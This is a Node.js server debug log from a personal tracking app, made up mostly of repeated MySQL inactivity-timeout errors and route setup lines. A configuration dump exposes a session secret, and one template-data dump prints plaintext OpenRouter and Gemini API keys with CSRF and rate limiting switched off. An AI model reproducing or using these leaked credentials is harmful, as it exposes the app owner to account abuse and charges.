2026-05-24T02:45:29.736Z server-connect:app options: { provider: 'security' }
2026-05-24T02:45:29.736Z server-connect:auth No login cookie found
2026-05-24T02:45:29.736Z server-connect:output identity: false
2026-05-24T02:45:29.736Z server-connect:app Executing action step restrict
2026-05-24T02:45:29.737Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-24T02:45:29.737Z server-connect:output restrict: undefined
2026-05-24T02:45:36.844Z server-connect:router Serving templateView /
2026-05-24T02:45:36.845Z server-connect:app Executing action step identify
2026-05-24T02:45:36.845Z server-connect:app options: { provider: 'security' }
2026-05-24T02:45:36.845Z server-connect:auth No login cookie found
2026-05-24T02:45:36.845Z server-connect:output identity: false
2026-05-24T02:45:36.845Z server-connect:app Executing action step restrict
2026-05-24T02:45:36.845Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-24T02:45:36.846Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 03:06:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 03:06:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 03:52:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 03:52:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 05:01:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 05:01:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 05:21:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 05:21:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 05:42:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 05:42:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 07:03:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 07:03:52' as DATETIME)"
}
2026-05-24T16:01:04.181Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-24T16:01:11.491Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-24T16:01:12.359Z server-connect:setup:upload Upload middleware configured.
2026-05-24T16:01:12.359Z server-connect:secure CSRF Protection initialized
2026-05-24T16:01:12.365Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-24T16:01:12.366Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-24T16:01:12.369Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-24T16:01:12.370Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-24T16:01:12.376Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-24T16:01:12.379Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-24T16:01:12.393Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-24T16:01:12.407Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-24T16:01:12.410Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-24T16:01:12.414Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-24T16:01:12.415Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-24T16:01:12.420Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-24T16:01:12.425Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-24T16:01:12.437Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-24T16:01:12.441Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-24T16:01:12.511Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-24T16:01:12.512Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-24T16:01:12.517Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-24T16:01:12.522Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-24T16:01:12.526Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-24T16:01:12.528Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-24T16:01:12.535Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-24T16:01:12.538Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-24T16:01:12.545Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-24T16:01:12.545Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-24T16:01:12.549Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-24T16:01:12.552Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-24T16:01:12.554Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-24T16:01:12.561Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-24T16:01:12.561Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-24T16:01:12.564Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-24T16:01:12.564Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-24T16:01:12.568Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-24T16:01:12.571Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-24T16:01:12.578Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-24T16:01:12.582Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-24T16:01:12.582Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-24T16:01:12.593Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 16:32:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 16:32:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 16:53:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 16:53:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 19:01:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 19:01:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 19:59:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 19:59:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 20:22:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 20:22:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-24 21:23:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-24 21:23:13' as DATETIME)"
}
2026-05-24T21:23:50.987Z server-connect:router Serving templateView /
2026-05-24T21:23:50.991Z server-connect:app Executing action step identify
2026-05-24T21:23:50.991Z server-connect:app options: { provider: 'security' }
2026-05-24T21:23:50.995Z server-connect:auth No login cookie found
2026-05-24T21:23:50.995Z server-connect:output identity: false
2026-05-24T21:23:50.995Z server-connect:app Executing action step restrict
2026-05-24T21:23:50.995Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-24T21:23:50.997Z server-connect:output restrict: undefined
2026-05-24T21:23:51.529Z server-connect:router Serving templateView /login
2026-05-24T21:23:51.530Z server-connect:app Executing action step identify
2026-05-24T21:23:51.530Z server-connect:app options: { provider: 'security' }
2026-05-24T21:23:51.530Z server-connect:auth No login cookie found
2026-05-24T21:23:51.530Z server-connect:output identity: false
2026-05-24T21:23:51.530Z server-connect:router Render template layouts/authentication
2026-05-24T21:23:51.531Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.146.55',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-25T21:23:51.529Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.146.55',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.146.55',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 02:42:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 02:42:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 05:41:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
